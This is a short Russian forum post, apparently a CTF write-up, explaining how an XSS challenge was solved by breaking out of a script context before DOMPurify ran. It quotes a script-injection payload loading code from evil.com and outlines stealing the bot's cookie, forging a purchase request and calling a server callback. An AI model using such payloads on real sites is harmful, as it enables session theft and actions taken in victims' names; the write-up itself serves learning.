Всё просто. Там для вида был DOMPurify, который на самом деле бесполезен ибо document.write раскрывает html entity. Но более того была инъекция до выполнения DOMPurify при интерпретации шаблона в js контексте. Тоесть тупой пример
Цитата:
</script><script src=http://evil.com/></script>
|
подгрузит скрипт. Далее три флага достаются следующим образом:
1. Получаем document.cookie
2. От имени бота отправляем post запрос на /api/shop-items чтобы купить на имя своей учётки флаг (на самом деле это ошибка задания насколько я знаю, нужно было как то иначе, но так тоже норм).
3. замечаем использование callPhantom. Это функция которая дёргает колбек на стороне сервера у бота. Смотрим её вывод, находим что если её запустить с другим параметром то получим флаг.